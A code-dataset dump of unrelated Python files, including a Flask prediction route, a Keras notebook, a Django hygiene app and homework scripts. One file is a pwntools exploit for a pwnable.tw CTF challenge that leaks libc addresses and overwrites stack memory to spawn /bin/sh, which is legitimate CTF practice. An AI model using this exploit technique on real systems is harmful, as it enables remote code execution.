print(filename)\n # print(savepath)\n cv2.imwrite(savepath, gray)\n\n try :\n batch_size = 16\n test_datagen = ImageDataGenerator(rescale=1./255)\n test_generator = test_datagen.flow_from_directory(\n test_dir,\n target_size=(512, 512),\n batch_size=batch_size,\n class_mode='binary',\n shuffle=False)\n\n #resetting generator\n test_generator.reset()\n\n with graph.as_default():\n # make predictions\n pred=loaded_model.predict_generator(test_generator, steps=len(test_generator), verbose=1)\n\n # Get classes by np.round\n cl = np.round(pred)\n # Get filenames (set shuffle=false in generator is important)\n filenames=test_generator.filenames\n\n if cl[:,0][0] == np.float32(1.0):\n class_pred = 'Healthy'\n else :\n class_pred = 'Defective'\n # 0 is defective, 1 is healthy\n print(\"\\nfile : \", filenames ,\"\\nprediction : \", pred[:,0], \"\\nclass : \", cl[:,0][0], '\\npredicted class : ', class_pred)\n\n except Exception as e:\n print(e)\n print(\"Please try again.... something has gone wrong\")\n\n finally :\n # remove all uploaded files\n os.remove(savepath)\n os.remove(filepath)\n\n # # evaluate loaded model on test data\n # loaded_model.compile(loss='binary_crossentropy',\n # optimizer='adam',\n # metrics=['accuracy'])\n\n # predict = loaded_model.predict(gray)\n # print(predict)\n\n return render_template('file_upload.html', string_variable= class_pred, image_name= filename)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"main_predict.py","file_name":"main_predict.py","file_ext":"py","file_size_in_byte":4578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"36449190","text":"\n# coding: utf-8\n\n# In[39]:\n\n\nimport os\nimport glob\n\n#from tqdm import tqdm\nimport numpy as np\nimport scipy.ndimage\nimport scipy.misc\nimport pandas as pd\nimport pickle\nfrom IPython.display import clear_output\n\nimport keras\nfrom keras.layers.core import Dense, Flatten, Dropout\nfrom keras.layers import Concatenate\nfrom keras.layers import Input\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.models import Model\n#from keras.applications.inception_v3 import InceptionV3\n#from keras.applications.xception import Xception\nfrom keras.applications.resnet50 import ResNet50\nfrom keras.applications.vgg19 import VGG19\n# import the necessary packages\nfrom keras.preprocessing import image as image_utils\nfrom keras.utils import plot_model\nfrom keras import backend as K\n\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn import preprocessing\n\nimport cv2\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nimport tensorflow as tf\nimport random as rn\n\nfrom sklearn import svm\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import confusion_matrix, classification_report\n\n# The below is necessary in Python 3.2.3 onwards to\n# have reproducible behavior for certain hash-based operations.\n# See these references for further details:\n# https://docs.python.org/3.4/using/cmdline.html#envvar-PYTHONHASHSEED\n# https://github.com/keras-team/keras/issues/2280#issuecomment-306959926\n\nimport os\nos.environ['PYTHONHASHSEED'] = '0'\n\n# The below is necessary for starting Numpy generated random numbers\n# in a well-defined initial state.\n\nnp.random.seed(42)\n\n# The below is necessary for starting core Python generated random numbers\n# in a well-defined state.\n\nrn.seed(12345)\n\n# Force TensorFlow to use single thread.\n# Multiple threads are a potential source of\n# non-reproducible results.\n# For further details, see: https://stackoverflow.com/questions/42022950/which-seeds-have-to-be-set-where-to-realize-100-reproducibility-of-training-res\n\nsession_conf = tf.ConfigProto(intra_op_parallelism_threads=1, inter_op_parallelism_threads=1)\n\nfrom keras import backend as K\n\n# The below tf.set_random_seed() will make random number generation\n# in the TensorFlow backend have a well-defined initial state.\n# For further details, see: https://www.tensorflow.org/api_docs/python/tf/set_random_seed\n\ntf.set_random_seed(1234)\n\nsess = tf.Session(graph=tf.get_default_graph(), config=session_conf)\nK.set_session(sess) # reference: https://keras.io/getting-started/faq/#how-can-i-obtain-the-output-of-an-intermediate-layer\n\n\n# In[2]:\n\n\nIMG_SIZE = (256, 256)\nIN_SHAPE = (*IMG_SIZE, 3)\nBATCH_SIZE = 64\n\n\n# In[11]:\n\n\nopenImg_path = '/nfs/juhu/data/rakhasan/bystander-detection/google-img-db/'\nsurvey_path='/nfs/juhu/data/rakhasan/bystander-detection/pilot-study2/'\nsurvey_photo_path = survey_path+'/photos/'\n\nmodel_output_path = '/nfs/juhu/data/rakhasan/bystander-detection/code-repos/notebooks/model-output/'\n\nprint('loading features.')\nfeature_df = pickle.load(open(os.path.join(survey_path, 'features-df.pkl'), 'rb'))\n\n\n# In[59]:\n\n\n#joint names labeled by openpose\nbody_joint_names = ['nose', 'neck', 'Rsho', 'Relb', 'Rwri', 'Lsho', 'Lelb',\n 'Lwri', 'Rhip', 'Rkne', 'Rank', 'Lhip', 'Lkne', 'Lank', \n 'Leye', 'Reye', 'Lear', 'Rear']\n\n#angles between pairs of body joint, from openpose\nlink_angle_features = ['angle_'+str(i) for i in range(17)]\n\n#probability of detecting a body joint, from openpose\nbody_joint_prob_features = [j + '_prob' for j in body_joint_names]\n\nface_exp_feaures = ['angry', 'disgusted', 'fearful', 'happy', 'sad', 'surprised', 'neutral']\n\nvisual_features = ['person_distance', 'person_size', 'num_people'] + link_angle_features + body_joint_prob_features + face_exp_feaures\n\n\n# In[4]:\n\n\ndef split_data(X,Y, test_perc = 0.1):\n indices = rn.sample(range(1, len(Y)), int(len(Y)*test_perc))\n Xtest = X[indices]\n Ytest = Y[indices]\n Xtrain = X[list(set(range(len(Y))).difference(set(indices)))]\n Ytrain = Y[list(set(range(len(Y))).difference(set(indices)))]\n \n return (Xtrain,Ytrain),(Xtest,Ytest)\n\n\n# In[99]:\n\n\ndef do_cross_validation(model_func, X,Y, n_splits=5, save_model = True):\n seed = 1234\n kfold = StratifiedKFold(n_splits=n_splits, shuffle=True, random_state=seed)\n cvscores = []\n \n fold = 0\n splits = []\n for train, test in kfold.split(X, Y):\n # create model\n model = model_func()\n model.fit(np.array([x for x in X[train]]), Y[train], epochs=20, batch_size=BATCH_SIZE, verbose=1)\n #evaluate the model\n scores = model.evaluate(np.array([x for x in X[test]]), Y[test], verbose=1)\n print(\"%s: %.2f%%\" % (model.metrics_names[1], scores[1]*100))\n cvscores.append(scores[1] * 100)\n \n if save_model:\n model.save_weights(model_output_path+'model_raw_img_{}.weights'.format(fold))\n fold+=1\n splits.append((train, test))\n \n if save_model:\n pickle.dump(splits, open(model_output_path+'splits_raw_img', 'wb'))\n \n return cvscores\n\ndef do_cross_validation_mixed_features(model_func, img_feat, other_feat, Y, n_splits, save_model = True):\n seed = 1234\n kfold = StratifiedKFold(n_splits=n_splits, shuffle=True, random_state=seed)\n cvscores = []\n \n fold = 0\n splits = []\n for train, test in kfold.split(img_feat, Y):\n # create model\n model = resnet_mixed_features((other_feat.shape[1],))\n model.fit([np.array([x for x in img_feat[train]]), other_feat.values[train]],\n Y[train], epochs=20, batch_size=BATCH_SIZE, verbose=1)\n\n #evaluate the model\n scores = model.evaluate([np.array([x for x in img_feat[test]]), other_feat.values[test]], Y[test], verbose=1)\n print(\"%s: %.2f%%\" % (model.metrics_names[1], scores[1]*100))\n cvscores.append(scores[1] * 100)\n \n if save_model:\n model.save_weights(model_output_path+'model_mixed_all_features_{}.weights'.format(fold))\n fold+=1\n splits.append((train, test))\n \n if save_model:\n pickle.dump(splits, open(model_output_path+'splits_mixed_all_features', 'wb'))\n \n return cvscores\n\n\n# ## Fine tune Resnet model pretrained with imagenet\n\n# In[56]:\n\n\n'''Build model using pretrained ImageNet'''\ndef resnet_with_imagenet():\n pretrained_model = ResNet50(\n include_top=False,\n input_shape=IN_SHAPE,\n weights='imagenet'\n )\n if pretrained_model.output.shape.ndims > 2:\n output = Flatten()(pretrained_model.output)\n else:\n output = pretrained_model.output\n\n output = BatchNormalization()(output)\n output = Dropout(0.5)(output)\n output = Dense(128, activation='relu')(output)\n output = BatchNormalization()(output)\n output = Dropout(0.5)(output)\n output = Dense(1, activation='sigmoid')(output)\n model = Model(pretrained_model.input, output)\n\n for layer in pretrained_model.layers:\n layer.trainable = False\n\n #model.summary(line_length=200)\n model.compile(optimizer='adam',\n loss='binary_crossentropy',\n metrics=['accuracy'])\n return model\n\ndef resnet_mixed_features(feat_dim):\n pretrained_model = ResNet50(\n include_top=False,\n input_shape=IN_SHAPE,\n weights='imagenet'\n )\n if pretrained_model.output.shape.ndims > 2:\n output = Flatten()(pretrained_model.output)\n else:\n output = pretrained_model.output\n\n output = BatchNormalization()(output)\n output = Dropout(0.5)(output)\n output = Dense(128, activation='relu')(output)\n output = BatchNormalization(name='final_normalization')(output)\n cnn_feat = Dropout(0.5, name='final_dropout')(output)\n \n other_feat = Input(shape=feat_dim, name = 'other_feat')\n \n merged_feat = Concatenate(name='merged_feat')([cnn_feat, other_feat])\n \n final_output = Dense(1, activation='sigmoid')(merged_feat)\n \n model = Model([pretrained_model.input, other_feat], final_output)\n\n for layer in pretrained_model.layers:\n layer.trainable = False\n\n #model.summary(line_length=200)\n model.compile(optimizer='adam',\n loss='binary_crossentropy',\n metrics=['accuracy'])\n return model\n\n\n\n\ndef get_feature_layer_func(model):\n return K.function([model.layers[0].input],\n [model.layers[len(model.layers)-2].output])\n#layer_output = get_cnn_feature([x])[0]\n\n\n# #### Using only raw image\n\n# In[14]:\n\n\n'''Do cross-validation by first fine-tuning resnet model with raw cropped image.'''\n# scores = do_cross_validation(resnet_with_imagenet,\n# feature_df.resized_cropped_img[:3], feature_df.label[:3], n_splits = 2)\n# #clear_output()\n# print(\"%.2f%% (+/- %.2f%%)\" % (np.mean(scores), np.std(scores)))\n\n\n# In[22]:\n\n\n# '''40% dilated box with ImageNet'''\n# X,Y= load_XY(photo_path='dilated-box40')\n# scores = do_cross_validation(imagenet, X, Y)\n# clear_output()\n# print(\"%.2f%% (+/- %.2f%%)\" % (np.mean(scores), np.std(scores)))\n\n\n# #### Raw image with other features\n\n# In[ ]:\n\n\nscores2 = do_cross_validation_mixed_features(resnet_mixed_features,\n img_feat=feature_df.resized_cropped_img, other_feat=feature_df[visual_features],\n Y=feature_df.label, n_splits = 5)\n#clear_output()\nprint(\"%.2f%% (+/- %.2f%%)\" % (np.mean(scores), np.std(scores)))\n\n\n# In[ ]:\n\n\nimport os\n \nimport sklearn\nfrom sklearn import cross_validation, grid_search\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom sklearn.svm import SVC\nfrom sklearn.externals import joblib\n \ndef train_svm_classifer(features, labels, model_output_path):\n \"\"\"\n train_svm_classifer will train a SVM, saved the trained and SVM model and\n report the classification performance\n \n features: array of input features\n labels: array of labels associated with the input features\n model_output_path: path for storing the trained svm model\n \"\"\"\n # save 20% of data for performance evaluation\n X_train, X_test, y_train, y_test = cross_validation.train_test_split(features, labels, test_size=0.2)\n \n param = [\n {\n \"kernel\": [\"linear\"],\n \"C\": [1, 10, 100, 1000]\n },\n {\n \"kernel\": [\"rbf\"],\n \"C\": [1, 10, 100, 1000],\n \"gamma\": [1e-2, 1e-3, 1e-4, 1e-5]\n }\n ]\n \n # request probability estimation\n svm = SVC(probability=True)\n \n # 10-fold cross validation, use 4 thread as each fold and each parameter set can be train in parallel\n clf = grid_search.GridSearchCV(svm, param,\n cv=10, n_jobs=4, verbose=3)\n \n clf.fit(X_train, y_train)\n \n if os.path.exists(model_output_path):\n joblib.dump(clf.best_estimator_, model_output_path)\n else:\n print(\"Cannot save trained svm model to {0}.\".format(model_output_path))\n \n print(\"\\nBest parameters set:\")\n print(clf.best_params_)\n \n y_predict=clf.predict(X_test)\n \n labels=sorted(list(set(labels)))\n print(\"\\nConfusion matrix:\")\n print(\"Labels: {0}\\n\".format(\",\".join(labels)))\n print(confusion_matrix(y_test, y_predict, labels=labels))\n \n print(\"\\nClassification report:\")\n print(classification_report(y_test, y_predict))\n\n\n# In[25]:\n\n\n#resnet_model = resnet_with_imagenet()\n\n#resnet_feat = resnet_model.predict(np.array([feature_df.resized_cropped_img[5]]),batch_size=1)\n#get_resnet_feature = get_feature_layer_func(model=resnet_model)\n\n# resnet_feat = get_resnet_feature([np.array([feature_df.resized_cropped_img[5]])])\n# resnet_feat[0].shape\n\n\n# In[37]:\n\n\n# '''Feed CNN features directly into SVM'''\n# clf = svm.SVC(kernel='linear', C=1)\n# scores = cross_val_score(clf, cnn_feats, Y, cv=5)\n# print(\"Linear kernel accuracy: %0.2f (+/- %0.2f)\" % (scores.mean()*100, scores.std() * 2*100))\n\n# clf = svm.SVC(kernel='rbf', C=1)\n# scores = cross_val_score(clf, cnn_feats, Y, cv=5)\n# print(\"RBF kernel accuracy: %0.2f (+/- %0.2f)\" % (scores.mean()*100, scores.std() * 2*100))\n\n\n# In[ ]:\n\n\n# '''Confusion matrix'''\n# #(Xtrain, Ytrain),(Xtest,Ytest) = split_data(cnn_feats, Y)\n# clf = svm.SVC(kernel='linear', C=1)\n# clf.fit(Xtrain,Ytrain)\n# predictions = clf.predict(Xtest)\n# print(confusion_matrix(Ytest, predictions))\n\n\n# In[138]:\n\n\n\n# '''Feed CNN features directly into SVM'''\n# clf = svm.SVC(kernel='linear', C=1)\n# scores = cross_val_score(clf, np.array(\n# [v for v in all_feat_df['cnn_feat_transformed'].values]).reshape(437, 131072), all_feat_df.label, cv=5)\n# print(\"Linear kernel accuracy: %0.2f (+/- %0.2f)\" % (scores.mean()*100, scores.std() * 2*100))\n\n# clf = svm.SVC(kernel='rbf', C=1)\n# scores = cross_val_score(clf, np.array(\n# [v for v in all_feat_df['cnn_feat_transformed'].values]).reshape(437, 131072), all_feat_df.label, cv=5)\n\n# print(\"RBF kernel accuracy: %0.2f (+/- %0.2f)\" % (scores.mean()*100, scores.std() * 2*100))\n\n\n# In[146]:\n\n\n# clf = svm.SVC(kernel='linear', C=1)\n# scores = cross_val_score(clf, np.array(\n# [v for v in all_feat_df['combined_feat'].values]).reshape(437, 131108), all_feat_df.label, cv=5)\n# print(\"Linear kernel accuracy: %0.2f (+/- %0.2f)\" % (scores.mean()*100, scores.std() * 2*100))\n\n# clf = svm.SVC(kernel='rbf', C=1)\n# scores = cross_val_score(clf, np.array(\n# [v for v in all_feat_df['combined_feat'].values]).reshape(437, 131108), all_feat_df.label, cv=5)\n\n# print(\"RBF kernel accuracy: %0.2f (+/- %0.2f)\" % (scores.mean()*100, scores.std() * 2*100))\n\n","sub_path":"gpu-code/notebooks/RQ3_B2.py","file_name":"RQ3_B2.py","file_ext":"py","file_size_in_byte":13576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"424285276","text":"from pwn import *\n\ndef add(idx):\n\tr.sendlineafter('>','2')\n\tr.sendlineafter('Number>',str(idx))\n\n#r=process('applestore')\nr=remote('chall.pwnable.tw',10104)\ne=ELF('./applestore')\nlibc=ELF('./libc_32.so.6')\nscript='''\n'''\nfor i in range(6):\n\tadd(1)\nfor i in range(20):\n\tadd(2)\n#make_7174\nr.sendlineafter('>','5')\nr.sendlineafter('>','y')\nr.sendlineafter('>','4')\nr.sendafter('>','yA'+p32(e.got['puts'])+p32(0x00)*3)\nr.recvuntil('27: ')\nleak=u32(r.recv(4))\nlog.info(hex(leak))\nlibc_vase=leak-libc.symbols['puts']\nsystem=libc_vase+libc.symbols['system']\nbinsh=libc_vase+list(libc.search(\"/bin/sh\"))[0]\t\nlog.info(\"libc_vase = {0}\\nSystem = {1}\\nbinsh = {2}\".format(hex(libc_vase),hex(system),hex(binsh)))\nenviron=libc_vase+libc.symbols['environ']\nr.sendlineafter('>','4')\nr.sendlineafter('>','yA'+p32(environ)+p32(0x00)*3)\nr.recvuntil(\"27: \")\nenvirons=u32(r.recv(4))\nlog.info(hex(environ))\nebp=environs-260\ntarget=environs-268\npayload='27'\npayload+=p32(environ)\npayload+=p32(0x1) #prev_inuse\npayload+=p32(0x0804b058)#fd\npayload+=p32(target)#bk\nr.sendlineafter('>','3')\nr.sendlineafter('>',payload)\npayload2='\\x00'*0xa\npayload2+=p32(system)+p32(binsh)+'\\x00'*2+'/bin/sh\\x00'\nr.sendlineafter('>',payload2)\n#r.sendlineafter('>',payload2)\n#gdb.attach(r,script)\nr.interactive()","sub_path":"ex_apple.py","file_name":"ex_apple.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"54835472","text":"\n\"\"\"\nYou're writing a class, but you want users to be able to create instance in more than \none way provided by __init__().\n\"\"\"\nimport time\n\nclass Date():\n \n def __init__(self, year, month, day):\n self.year = year\n self.month = month\n self.day = day\n \n @classmethod\n def today(cls):\n t = time.localtime()\n return cls(t.tm_year, t.tm_mon, t.tm_mday)\n \n \nclass Date2():\n \n def __init__(self, year, mon, day):\n self.year = year\n self.month = mon\n self.day = day\n \n @classmethod\n def today(cls):\n d = cls.__new__(cls) #ONLY support by python version 3\n t = time.localtime()\n d.year = t.tm_year\n d.month = t.tm_mon\n d.day = t.tm_mday\n return d\n \ntoday = Date.today()\nprint(today)\n\ntoday = Date2.today()\nprint(today.year)","sub_path":"cookbook/classes_and_objects/defining_more_than_one_constructor_in_a_class.py","file_name":"defining_more_than_one_constructor_in_a_class.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"227492741","text":"\"\"\"\nPROBLEM:커리큘럼\n\"\"\"\n\"\"\"\n동빈이는 온라인으로 컴퓨터공학 강의를 듣고 있따. 이때 각 온라인 강의는 선수 강의가 있을 수 있는데,\n선수 강의가 있는 강의는 선수 강의를 먼저 들어야만 해당 강의를 들을 수 있다. 예를 들어 \n'알고리즘'강의의 선수 강의로 '자료구조'가 존재한다면, '자료구조'를 들은 이후에 '알고리즘' 강의를\n들을 수 있다.\n동빈이는 총 N개의 강의를 듣고자 한다. 모든 강의는 1번부터 N번까지의번호를 가진다.\n또한 동시에 여러 개의 강의를 들을 수 있따고 가정한다. 예를 드어 N=3일떄,3번 강의의 선수 강의로\n1번과 2번 강의가 있고, 1번과 2번 강의는 선수 강의가 업사고 가정하자.그리고 각 강의에 대하여 강의\n시간이 다음과 같다고 가정하자.\nㆍ1번 강의: 30시간\nㆍ2번 강의: 20시간\nㆍ3번 강의: 40시간\n이 경우 1번 강의를 수강하기까지의 최소 시간은 30시간,2번 강의를 수강하기까지의 최소\n시간은 30시간, 2번 강의를 수강하기까지의 최소 시간은 20시간,3번 강의를 수강하기까지의 최소 시간은 \n70시간이다.\n동빈이가 듣고자 하는 N개의 강의 정보가 주어졌을 때, N개의 강의에 대하여 수강하기까지 걸리는\n최소 시간을 각각 출력하는 프로그램을 작성하시오.\n\"\"\"\n\"\"\"\nINPUT:\nㆍ 첫째 줄에 동빈이가 듣고자 하는 강의의 수 N(1<=N<=500)이 주어진다.\nㆍ 다음 N개의 줄에는 각 강의의 강의 시간과 그 강의를 듣기 위해 먼저 들어야 하는 강의들의 번호가 \n 자연수로 주어지며, 각 자연수는 공백으로 구분한다. 이때 강의 시간은 100,000 이하의 자연수이다.\nㆍ 각 강의 번호는 1부터 N까지로 구성되며, 각 줄은 -1로 끝난다.\nOUTPUT:\nㆍ N개의 강의에 대하여 수강하기까지 걸리는 최소 시간을 한 줄에 하나씩 출력한다.\n\"\"\"\nfrom collections import deque\nimport sys\nimport copy\n\ninput = sys.stdin.readline\nv = int(input())\nIndegree = [0]*(v+1)\ngraph = [[] for i in range(v+1)]\ntime = [0]*(v+1)\n\nfor i in range(1,v+1):\n data = list(map(int,input().split()))\n time[i] = data[0]\n for x in data[1:-1]:\n Indegree[i] +=1\n graph[x].append(i)\n\n\ndef TopologySort():\n result = copy.deepcopy(time)\n q = deque()\n\n for i in range(1,v+1):\n if Indegree[i] == 0: q.append(i)\n\n while q:\n data = q.popleft()\n\n for i in graph[data]:\n Indegree[i]-=1\n result[i] = max(result[i],result[data]+time[i])\n if Indegree[i] == 0:\n q.append(i)\n\n for i in range(1,v+1):\n print(result[i])\n\nTopologySort()\n\n\n\n\n","sub_path":"Python/Algorithms/GraphTheory/Curriculum.py","file_name":"Curriculum.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"290057187","text":"\"\"\" Name : Neil Barot\nCourse : CMPS 1500\nLab Section : Tuesday 2 -3.15 pm\nAssignment : hw2pr2.py\nDate : 09/15/14\n\"\"\"\n\ndef is_int(s): #checks if each character in s is an integer\n if s[0] not in \"-1234567890\": #seperate case for negative sign\n return False\n for i in range(1, len(s)):\n if s[i] not in \"1234567890\":\n return False\n return True\n\ndef ch_to_int(ch):\n for i in range(10): #checks if the character is equal to string version of numbers 0 - 9\n if str(i) == ch:\n return i\n return False\n\ndef s_to_int(s):\n num = 0\n place = 0 #counter to help determine the place of each part of number (like tens, hundreds, thousands, so on)\n for i in range(len(s)-1, 0, -1): #iterates through loop from end to start of s\n num += ch_to_int(s[i]) * (10**place)\n place += 1\n if(s[0] == '-'): #case for if s is negative \n num *= -1\n else:\n num += ch_to_int(s[0]) * (10**place)\n return num\n\n\ndef ask_for_int():\n number = input('Please guess a number: ')\n while not is_int(number): #keeps asking until an integer is entered\n number = input('You did not enter an integer. Please try again: ')\n return s_to_int(number)\n","sub_path":"Homework 2/hw2pr2.py","file_name":"hw2pr2.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"461898831","text":"\r\ndef fib(num):\r\n if num<=1:\r\n return num\r\n else:\r\n return (fib(num-1)+fib(num-2))\r\n\r\ntotnumber = int(input(\"Number of fibbinoci series to be printed : \"))\r\n\r\nif totnumber <=0:\r\n print (\"type valid number\")\r\nelse:\r\n for i in range(totnumber):\r\n print(fib(i))\r\n\r\n \r\n ","sub_path":"python/Activity14Fibbinociseries.py","file_name":"Activity14Fibbinociseries.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"230828435","text":"\"\"\"Uses NEAT genetic machine learning to teach a machine how to play Durak.\n\nContains the Worker class, which does the main program loop for the Durak\nemulation. Main initializes the configuration for neat-python and sends it to\nthe Worker class, which uses a custom Gym environment to iterate through the\ngame until it reaches a completion state.\n\n Usage:\n\n python neat_run.py\n python neat_run.py --config=FILEPATH --restore=FILEPATH\n\"\"\"\n\nimport argparse\nimport os\nimport random\n\nimport neat\n\n# pylint: disable=import-error\nfrom durak_env import DurakEnv\nfrom versus_evaluator import VersusEvaluator\n\n\nclass Worker:\n \"\"\"A worker for multi-threaded evolution.\n\n Attributes:\n genome: The genome to be tested.\n config: The configuration specifications for NEAT.\n env: The Durak environment.\n \"\"\"\n\n def __init__(self, genome_a, genome_b, config):\n \"\"\"Inits a worker with a genome and the config.\n \"\"\"\n self.genome_a = genome_a\n self.genome_b = genome_b\n self.config = config\n self.env = DurakEnv()\n self.net_a = neat.nn.FeedForwardNetwork.create(self.genome_a, self.config)\n self.net_b = neat.nn.FeedForwardNetwork.create(self.genome_b, self.config)\n\n def work(self):\n \"\"\"Evaluates the fitness of a genome.\n\n Returns:\n A float that represents the fitness of a genome. The higher the number\n the fitter it is and the more likely the genome is to reproduce.\n \"\"\"\n\n # Loads in a default Durak state.\n self.env.reset()\n\n # Takes the first step to get an observation ofn the current state.\n observation, _, _, info = self.env.step(self.env.action_space.sample())\n total_reward_a = 0\n total_reward_b = 0\n done = False\n reward = 0.\n num_games = 30\n # Loops through the game until the game is finished or the machine makes an unforgivable mistake.\n for _ in range(num_games):\n i = -1\n while not done:\n i += 1\n if info['player1']:\n actions = self.net_a.activate(observation)\n observation, reward, done, info = self.env.step(actions)\n else:\n actions = self.net_a.activate(observation)\n observation, reward, done, info = self.env.step(actions)\n\n if info['player1']:\n total_reward_a += reward\n else:\n total_reward_b += reward\n\n if int(random.random() * 1000) == 1:\n print(info, reward)\n\n self.env.reset()\n\n return total_reward_a / num_games, total_reward_b / num_games\n\n\ndef eval_genomes(genome_a, genome_b, config):\n \"\"\"Evaluates the fitness of a genome by sending it to the worker.\n\n Args:\n genome_a: The first genome to be tested.\n genome_b: The second genome to be tested.\n config: The configuration specifications for NEAT.\n Returns:\n A float that represents the fitness of a genome. The higher the number\n the fitter it is and the more likely the genome is to reproduce.\n \"\"\"\n\n worker = Worker(genome_a, genome_b, config)\n return worker.work()\n\n\ndef main(config_file, restore_file):\n \"\"\"The main function for the neat_run module.\n\n Loads in the NEAT configuration and creates the objects necessary for\n running the NEAT emulation.\n\n Args:\n config_file: The location of the configuration file.\n restore_file: The location of the restore point file.\n \"\"\"\n\n # Loads configuration.\n config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction, neat.DefaultSpeciesSet, neat.DefaultStagnation, config_file)\n\n # Loads Restore file if it is specified.\n if restore_file is None:\n population = neat.Population(config)\n else:\n population = neat.Checkpointer.restore_checkpoint(restore_file)\n\n # Creates reporters.\n population.add_reporter(neat.StdOutReporter(True))\n stats = neat.StatisticsReporter()\n population.add_reporter(stats)\n population.add_reporter(neat.Checkpointer(generation_interval=500, filename_prefix='../restores/neat-checkpoint-'))\n\n # Runs the learning in parallel.\n evaluator = VersusEvaluator(8, eval_genomes)\n winner = population.run(evaluator.evaluate)\n\n print(winner)\n\n\nif __name__ == '__main__':\n # Reads in optional file specification arguments.\n PARSER = argparse.ArgumentParser(description=\"Run NEAT on the Durak game.\")\n PARSER.add_argument('--config', type=str, default=\"../config/.NEAT\", required=False)\n PARSER.add_argument('--restore', type=str, default=None, required=False)\n ARGS = PARSER.parse_args()\n\n LOCAL_DIR = os.path.dirname(__file__)\n CONFIG_PATH = os.path.normpath(os.path.join(LOCAL_DIR, ARGS.config))\n\n if ARGS.restore is None:\n RESTORE_PATH = None\n else:\n RESTORE_PATH = os.path.normpath(os.path.join(LOCAL_DIR, \"../restores/neat-checkpoint-\" + str(ARGS.restore)))\n\n main(CONFIG_PATH, RESTORE_PATH)\n","sub_path":"src/versus_run.py","file_name":"versus_run.py","file_ext":"py","file_size_in_byte":5074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"432861106","text":"import calendar\nfrom collections import defaultdict\n\nimport icalendar\n\nimport datetime\n\nimport pytz\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.utils import timezone\n\nfrom apps.hygiene.forms import CheckDayForm, CheckDayItemForm, CheckDayCommentsForm\nfrom apps.hygiene.models import CheckDay, CheckItem, CheckDayItem, CheckLocation\n\n\n@login_required\ndef check(request, pk=None):\n today = datetime.date.today()\n post_data = request.POST if request.method == 'POST' else None\n\n obj = CheckDay.objects.filter(date=today).first() if pk is None else get_object_or_404(CheckDay, pk=pk)\n check_date = obj.date if obj is not None else today\n obj_form = CheckDayCommentsForm(instance=obj, data=post_data)\n\n if request.method == 'POST':\n if obj_form.is_valid():\n obj = obj_form.save(commit=False)\n if obj.date is None:\n obj.date = check_date\n if obj.checker_id is None or obj.checker != request.user:\n obj.checker = request.user\n obj.save()\n\n items = CheckDayItem.objects.filter(day=obj)\n items = {item.item.pk: item for item in items}\n\n all_good = obj is not None\n\n locations = CheckLocation.objects.all()\n\n for location in locations:\n location.items = CheckItem.objects.filter(location=location).all()\n for item in location.items:\n instance = items.get(item.pk, None)\n data = post_data\n initial_result = data.get(str(item.pk) + '-result', None) if data else None\n if instance and initial_result is None: initial_result = instance.result\n initial = {'result': initial_result}\n item.form = CheckDayItemForm(prefix=item.pk, instance=instance, data=data, initial=initial)\n\n if request.method == 'POST' and obj is not None:\n if item.form.is_valid():\n checked_item = item.form.save(commit=False)\n checked_item.day = obj\n checked_item.item = item\n checked_item.save()\n else:\n all_good = False\n\n if request.method == 'POST' and all_good:\n return redirect('hygiene:check_day', obj.pk)\n\n return render(request, 'hygiene/check.html', locals())\n\n\n@login_required\ndef plan(request, year=None, month=None):\n now = timezone.now()\n year = now.year if year is None else int(year)\n month = now.month if month is None else int(month)\n start_date = datetime.date(year, month, 1)\n\n prev_month = (month - 2) % 12 + 1\n next_month = month % 12 + 1\n prev_year = year - (month == 1)\n next_year = year + (month == 12)\n\n cal = calendar.Calendar(calendar.MONDAY)\n dates = list(cal.itermonthdates(year, month))\n weeks_dates = [dates[i*7:(i+1)*7] for i in range(len(dates) // 7)]\n\n check_days = CheckDay.objects.filter(date__gte=dates[0], date__lte=dates[-1]).prefetch_related('checkdayitem_set')\n check_days = {check_day.date: check_day for check_day in check_days}\n\n weeks = []\n\n for week_dates in weeks_dates:\n week = []\n\n for date in week_dates:\n instance = check_days.get(date, None)\n data = request.POST if request.method == 'POST' else None\n form = CheckDayForm(prefix=date.strftime(\"%Y%m%d\"), instance=instance, data=data, initial={'date': date, 'checker': instance.checker.pk if instance else None})\n\n points = defaultdict(list)\n\n if instance:\n for item in instance.checkdayitem_set.all():\n points[item.item.location].append({\n 'GOOD': 'A', 'ACCEPT': 'B', 'BAD': 'C'\n }[item.result])\n\n for location in points.keys():\n results = list(sorted(points[location]))\n result_many = results[len(results)*3//4]\n result_few = results[len(results)*7//8]\n result = {'AA': 'A', 'AB': 'A', 'AC': 'B', 'BB': 'B', 'BC': 'C', 'CC': 'C'}\n points[location] = result[result_many + result_few]\n\n if request.method == 'POST' and form.is_valid():\n if form.cleaned_data['checker'] is None:\n if instance is not None:\n instance.delete()\n else:\n form.save()\n\n week.append((form, dict(points)))\n\n weeks.append(week)\n\n if request.method == 'POST':\n return redirect('hygiene:plan')\n\n return render(request, 'hygiene/plan.html', locals())\n\n\ndef ical(request, pk):\n user = get_object_or_404(User, pk=pk)\n days = CheckDay.objects.filter(checker=user).all()\n sbz_location = pytz.timezone('Europe/Amsterdam')\n\n cal = 